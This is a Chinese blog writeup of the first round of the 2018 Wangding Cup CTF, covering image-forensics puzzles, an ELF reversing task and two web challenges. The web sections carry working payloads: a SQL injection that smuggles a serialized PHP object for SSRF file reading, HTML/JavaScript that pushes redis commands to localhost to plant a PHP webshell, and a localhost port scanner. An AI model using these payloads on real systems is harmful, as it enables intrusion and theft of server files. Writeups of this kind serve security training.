欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2018网(PWN)鼎杯第一场解题记录(Writeup)

程序员文章站 2022-05-18 22:36:16
...

MISC

  clip

    使用十六进制查看软件打开,查找的过程中发现有idat头:

2018网(PWN)鼎杯第一场解题记录(Writeup)

      还有一处在下方,表示还有另一张图片

2018网(PWN)鼎杯第一场解题记录(Writeup)

     但是这里缺少头部需要手动补充上去再另存文件:

2018网(PWN)鼎杯第一场解题记录(Writeup)

     一共提取出两张图片,但是图片明显被处理过了

2018网(PWN)鼎杯第一场解题记录(Writeup)

        其实不明白出题人为什么要弄成这样,CTF比赛还要弄成这样纯粹就是刁难,弄得眼睛贼疼。

  minified

        这里先将A0和G0通道保存,再与G0通道异或运算即可

2018网(PWN)鼎杯第一场解题记录(Writeup)

 

RE

  beijing

   下载后是ELF文件,在Linux下运行得到如下乱码

2018网(PWN)鼎杯第一场解题记录(Writeup)

   得不到重要信息,用IDA逆向得到main伪代码并将传入参数整理出来:

int __cdecl main()
{
  char v0; // al
  char v1; // al
  char v2; // al
  char v3; // al
  char v4; // al
  char v5; // al
  char v6; // al
  char v7; // al
  char v8; // al
  char v9; // al
  char v10; // al
  char v11; // al
  char v12; // al
  char v13; // al
  char v14; // al
  char v15; // al
  char v16; // al
  char v17; // al
  char v18; // al
  char v19; // al
  char v20; // al

  v0 = sub_8048460(dword_804A03C);              // 6
  printf("%c", v0);
  fflush(stdout);
  v1 = sub_8048460(dword_804A044);              // 9
  printf("%c", v1);
  fflush(stdout);
  v2 = sub_8048460(dword_804A0E0);              // ??
  printf("%c", v2);
  fflush(stdout);
  v3 = sub_8048460(dword_804A050);              // 1
  printf("%c", v3);
  fflush(stdout);
  v4 = sub_8048460(dword_804A058);              // a
  printf("%c", v4);
  fflush(stdout);
  v5 = sub_8048460(dword_804A0E4);              // ??
  printf("%c", v5);
  fflush(stdout);
  v6 = sub_8048460(dword_804A064);              // 8
  printf("%c", v6);
  fflush(stdout);
  v7 = sub_8048460(dword_804A0E8);              // ??
  printf("%c", v7);
  fflush(stdout);
  v8 = sub_8048460(dword_804A070);              // b
  printf("%c", v8);
  fflush(stdout);
  v9 = sub_8048460(dword_804A078);              // 2
  printf("%c", v9);
  fflush(stdout);
  v10 = sub_8048460(dword_804A080);             // 3
  printf("%c", v10);
  fflush(stdout);
  v11 = sub_8048460(dword_804A088);             // 1
  printf("%c", v11);
  fflush(stdout);
  v12 = sub_8048460(dword_804A090);             // d
  printf("%c", v12);
  fflush(stdout);
  v13 = sub_8048460(dword_804A098);             // 4
  printf("%c", v13);
  fflush(stdout);
  v14 = sub_8048460(dword_804A0A0);             // 5
  printf("%c", v14);
  fflush(stdout);
  v15 = sub_8048460(dword_804A0A8);             // 2
  printf("%c", v15);
  fflush(stdout);
  v16 = sub_8048460(dword_804A0B0);             // 7
  printf("%c", v16);
  fflush(stdout);
  v17 = sub_8048460(dword_804A0B8);             // 2
  printf("%c", v17);
  fflush(stdout);
  v18 = sub_8048460(dword_804A0C0);             // 3
  printf("%c", v18);
  fflush(stdout);
  v19 = sub_8048460(dword_804A0C8);             // 1
  printf("%c", v19);
  fflush(stdout);
  v20 = sub_8048460(dword_804A0D0);             // c
  printf("%c", v20);
  fflush(stdout);
  printf("\n");
  return 0;
}

        再看sub_8048460的伪代码,并整理每次运算的数据:

int __cdecl sub_8048460(int a1)
{
  char v2; // [esp+Fh] [ebp-1h]

  switch ( a1 )
  {
    case 0:
      v2 = byte_804A021 ^ byte_804A020;         // 4c ^ 61
      break;
    case 1:
      v2 = byte_804A023 ^ byte_804A022;         // 59 ^ 67
      break;
    case 2:
      v2 = byte_804A025 ^ byte_804A024;         // 29 ^ 69
      break;
    case 3:
      v2 = byte_804A027 ^ byte_804A026;
      break;
    case 4:
      v2 = byte_804A029 ^ byte_804A028;
      break;
    case 5:
      v2 = byte_804A02B ^ byte_804A02A;
      break;
    case 6:
      v2 = byte_804A02D ^ byte_804A02C;
      break;
    case 7:
      v2 = byte_804A02F ^ byte_804A02E;
      break;
    case 8:
      v2 = byte_804A031 ^ byte_804A030;
      break;
    case 9:
      v2 = byte_804A033 ^ byte_804A032;
      break;
    case 10:
      v2 = byte_804A035 ^ byte_804A034;
      break;
    case 11:
      v2 = byte_804A037 ^ byte_804A036;
      break;
    case 12:
      v2 = byte_804A039 ^ byte_804A038;
      break;
    case 13:
      v2 = byte_804A03B ^ byte_804A03A;
      break;
    default:
      v2 = 0;
      break;
  }
  return v2;
}

         在整理前面几个后发现一个规律,都是把如下地址的数据做与运算,而且都是 基地址 ^ 偶地址

.data:0804A020 byte_804A020    db 61h                  ; DATA XREF: sub_8048460:loc_804848C↑r
.data:0804A021 byte_804A021    db 4Ch                  ; DATA XREF: sub_8048460+33↑r
.data:0804A022 byte_804A022    db 67h                  ; DATA XREF: sub_8048460:loc_80484A6↑r
.data:0804A023 byte_804A023    db 59h                  ; DATA XREF: sub_8048460+4D↑r
.data:0804A024 byte_804A024    db 69h                  ; DATA XREF: sub_8048460:loc_80484C0↑r
.data:0804A025 byte_804A025    db 29h                  ; DATA XREF: sub_8048460+67↑r
.data:0804A026 byte_804A026    db 6Eh                  ; DATA XREF: sub_8048460:loc_80484DA↑r
.data:0804A027 byte_804A027    db 42h                  ; DATA XREF: sub_8048460+81↑r
.data:0804A028 byte_804A028    db 62h                  ; DATA XREF: sub_8048460:loc_80484F4↑r
.data:0804A029 byte_804A029    db 0Dh                  ; DATA XREF: sub_8048460+9B↑r
.data:0804A02A byte_804A02A    db 65h                  ; DATA XREF: sub_8048460:loc_804850E↑r
.data:0804A02B byte_804A02B    db 71h                  ; DATA XREF: sub_8048460+B5↑r
.data:0804A02C byte_804A02C    db 66h                  ; DATA XREF: sub_8048460:loc_8048528↑r
.data:0804A02D byte_804A02D    db 34h                  ; DATA XREF: sub_8048460+CF↑r
.data:0804A02E byte_804A02E    db 6Ah                  ; DATA XREF: sub_8048460:loc_8048542↑r
.data:0804A02F byte_804A02F    db 0C6h                 ; DATA XREF: sub_8048460+E9↑r
.data:0804A030 byte_804A030    db 6Dh                  ; DATA XREF: sub_8048460:loc_804855C↑r
.data:0804A031 byte_804A031    db 8Ah                  ; DATA XREF: sub_8048460+103↑r
.data:0804A032 byte_804A032    db 6Ch                  ; DATA XREF: sub_8048460:loc_8048576↑r
.data:0804A033 byte_804A033    db 7Fh                  ; DATA XREF: sub_8048460+11D↑r
.data:0804A034 byte_804A034    db 7Bh                  ; DATA XREF: sub_8048460:loc_8048590↑r
.data:0804A035 byte_804A035    db 0AEh                 ; DATA XREF: sub_8048460+137↑r
.data:0804A036 byte_804A036    db 7Ah                  ; DATA XREF: sub_8048460:loc_80485AA↑r
.data:0804A037 byte_804A037    db 92h                  ; DATA XREF: sub_8048460+151↑r
.data:0804A038 byte_804A038    db 7Dh                  ; DATA XREF: sub_8048460:loc_80485C4↑r
.data:0804A039 byte_804A039    db 0ECh                 ; DATA XREF: sub_8048460+16B↑r
.data:0804A03A byte_804A03A    db 5Fh                  ; DATA XREF: sub_8048460:loc_80485DE↑r
.data:0804A03B byte_804A03B    db 57h                  ; DATA XREF: sub_8048460+185↑r

            经过几次尝试,发现把偶地址的数据按照先前传入的参数所触发case的运算的顺序整理出来再弄成字符就是flag。但是这里有三处不知道数据的地方,所以写了个脚本测试:

#!/usr/bin/env
# coding:utf-8

dirs = {
    "0":0x61,
    "1":0x67,
    "2":0x69,
    "3":0x6e,
    "4":0x62,
    "5":0x65,
    "6":0x66,
    "7":0x6a,
    "8":0x6d,
    "9":0x6c,
    "a":0x7b,
    "b":0x7a,
    "c":0x7d,
    "d":0x5f
}

iput = '69{a}1a{b}8{c}b231d4527231c'
ostr = ''
fuzzstr = "0123456789abc"

for x in fuzzstr:
    for y in fuzzstr:
        for z in fuzzstr:
            iput1 = iput.format(a=x,b=y,c=z)
            print "[*] orders =",iput1,
            for i in iput1:
                ostr += chr(dirs[i])
            print ostr+" "

2018网(PWN)鼎杯第一场解题记录(Writeup)

WEB

  FakeBook

    打开网页看到一个登陆和一个加入按钮,下面应该是列表但是没有东西

2018网(PWN)鼎杯第一场解题记录(Writeup)

   先 join 一下,随便注册一个账号,而且在blog地方填入百度的网址试试

2018网(PWN)鼎杯第一场解题记录(Writeup)

 然后在查阅用户的时候发现会加载blog地址,初步怀疑是SSRF

2018网(PWN)鼎杯第一场解题记录(Writeup)

       但是光给这个没用,因为还不知道具体细节,这是后因为没有hint所以当时做了两件事,一个是看url,一个是扫后台

url = http://9a10f97dd42644ba9110d696d10a8ba0e691bb587355413c.game.ichunqiu.com/view.php?no=1

       感觉no参数是一个注入点,而且后台扫描到了robots.txt,访问之后看到

Disallow: /user.php.bak
Sitemap: http://domain.com/sitemap.xml

      有个备份文件,下载下来看到是一个类

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

     和大神沟通一番,得到一些灵感遂构造poc

<?php
class UserInfo
{
    public $name = "hacker";
    public $age = 0;
    public $blog = "file:///var/www/html/flag.php";
}

$a = new UserInfo;
echo serialize($a);

     执行后得到序列化字符串

O:8:"UserInfo":3:{s:4:"name";s:6:"hacker";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

     然后用sqlmap发现了注入点,不过有过滤:

2018网(PWN)鼎杯第一场解题记录(Writeup)

     构造语句:

http://9a10f97dd42644ba9110d696d10a8ba0e691bb587355413c.game.ichunqiu.com/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:6:%22hacker%22;s:3:%22age%22;i:0;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%20%27%20%23

      2018网(PWN)鼎杯第一场解题记录(Writeup)

     在源码处看到加密的字符串:

data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s5YzZhMzJiYi0zODQ5LTRlOGMtOGRiOC1kZDZmNWMyMzFjOTJ9IjsNCmV4aXQoMCk7DQo=

     最后Base64解码得到flag

2018网(PWN)鼎杯第一场解题记录(Writeup)

     我的不过网页源码也自己写出来了:

2018网(PWN)鼎杯第一场解题记录(Writeup)

 

  spider

      这题实在不会做,在结束的时候对着wp复现的。

2018网(PWN)鼎杯第一场解题记录(Writeup)

       同样什么都不知道,扫描一波:得到robots.txt文件:

User-agent: *
Disallow: /get_sourcecode

      访问这个链接之后得到页面是“NOT 127.0.0.1”,伪造IP无效,WP上写用Ajax来读取,并利用如下的html代码

<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc()
{
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200){
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:80/get_sourcecode",true);
    xmlhttp.send();

}
loadXMLDoc();
</script>

2018网(PWN)鼎杯第一场解题记录(Writeup)

URL: http://127.0.0.1:80/upload/e4541fc8-a55e-11e8-9267-0242ac110013.html
#!/usr/bin/env python
# -*- encoding: utf-8 -*-

from flask import Flask, request 
from flask import render_template
import os
import uuid
import tempfile
import subprocess
import time
import json

app = Flask(__name__ , static_url_path='')

def proc_shell(cmd):
    out_temp = tempfile.SpooledTemporaryFile(bufsize=1000*1000)
    fileno = out_temp.fileno()
    proc = subprocess.Popen(cmd, stderr=subprocess.PIPE, stdout=fileno, shell=False)
    start_time = time.time()
    while True:
        if proc.poll() == None:
            if time.time() - start_time &gt; 30:
                proc.terminate()
                proc.kill()
                proc.communicate()
                out_temp.seek(0)
                out_temp.close()
                return
            else:
                time.sleep(1)
        else:
            proc.communicate()
            out_temp.seek(0)
            data = out_temp.read()
            out_temp.close()
            return data

def casperjs_html(url):
    cmd = 'casperjs {0} --ignore-ssl-errors=yes --url={1}'.format(os.path.dirname(__file__) + '/casper/casp.js' ,url)
    cmd = cmd.split(' ')
    stdout = proc_shell(cmd)
    try:
        result = json.loads(stdout)
        links = result.get('resourceRequestUrls')
        return links
    except Exception, e:
        return []

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        f = request.files['file']
        filename = str(uuid.uuid1()) + '.html'
        basepath = os.path.dirname(__file__)
        upload_path = os.path.join(basepath, 'static/upload/', filename)
        content = f.read()
        #hint
        if 'level=low_273eac1c' not in content and 'dbfilename' in content.lower():
            return render_template('index.html', msg=u'Warning: 发现恶意关键字')
        #hint
        with open(upload_path, 'w') as f:
            f.write(content)
        url = 'http://127.0.0.1:80/upload/'+filename
        links = casperjs_html(url)
        links = '\n'.join(links)
        if not links:
            links = 'NULL'
        links = 'URL: '+url+'\n'+links
        return render_template('index.html', links=links)

@app.route('/get_sourcecode', methods=['GET', 'POST'])
def get_code():
    if request.method == 'GET':
        ip = request.remote_addr
        if ip != '127.0.0.1':
            return 'NOT 127.0.0.1'
        else:
            with open(os.path.dirname(__file__)+'/run.py') as f:
                code = f.read()
            return code
    else:
        return ''

@app.errorhandler(404)
def page_not_found(error):
    return '404'

@app.errorhandler(500)
def internal_server_error(error):
    return '500'

@app.errorhandler(403)
def unauthorized(error):
    return '403'

if __name__ == '__main__':
    pass

       从这里找到一个线索:使用了redis服务,但是探测端口的时候并没有发现6379。所以WP里面直接使用写webshell进去再访问这个shell就是了。

       写入和读取shell的html:

<--!写入shell-->
<a id="flag">123</ a>
level=low_273eac1c
<script>
var xmlHttp;
if(window.XMLHttpRequest){
    xmlHttp = new XMLHttpRequest();
}
else{
    xmlHttp = newActiveXObject("Microsoft.XMLHTTP");
}
var formData = new FormData();
formData.append("0","flushall"+"\n"+"config set dir /var/www/html/"+"\n"+"config set dbfilename shell123.php"+"\n"+'set 1 "\\n\\n<?php header(\'Access-Control-Allow-Origin:*\');print_r(file_get_contents($_GET[_]));?>\\n\\n"'+"\n"+"save"+"\n"+"quit");
xmlHttp.open("POST","http://127.0.0.1:6379",true);
xmlHttp.send(formData);
</script>
<--!读取shell-->
<a href="" id="flag">test</a>
<script type="text/javascript">
function loadXMLDoc(){
    var xmlhttp;
    if (window.XMLHttpRequest){// code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp=new XMLHttpRequest();
    }
    else{// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200)
        {
            document.getElementById("flag").innerHTML=xmlhttp.responseText;
        }
    }
    xmlhttp.open("GET","http://127.0.0.1:8000/shell123.php?_=flag.php",true);
    xmlhttp.send();
}
loadXMLDoc();
</script>

          探测端口的html:

<a id="result"></a>
<script>
var data = document.getElementById('result').innerHTML;
var TagName = document.getElementsByTagName("body")[0];
ports=[80,81,88,6379,8000,8080,8088];
for(var i in ports){
    var script =   document.createElement("script");
    poc = "data += '" + ports[i] + " OPEN; '; document.getElementById('result').innerHTML = data;"
    script.setAttribute("src","http://127.0.0.1:" + ports[i]);
    script.setAttribute("onload", poc);
    TagName.appendChild(script);
}
</script>
</script>

 

2018网(PWN)鼎杯第一场解题记录(Writeup)

2018网(PWN)鼎杯第一场解题记录(Writeup)

 

后面的先挖坑再填坑吧。。。。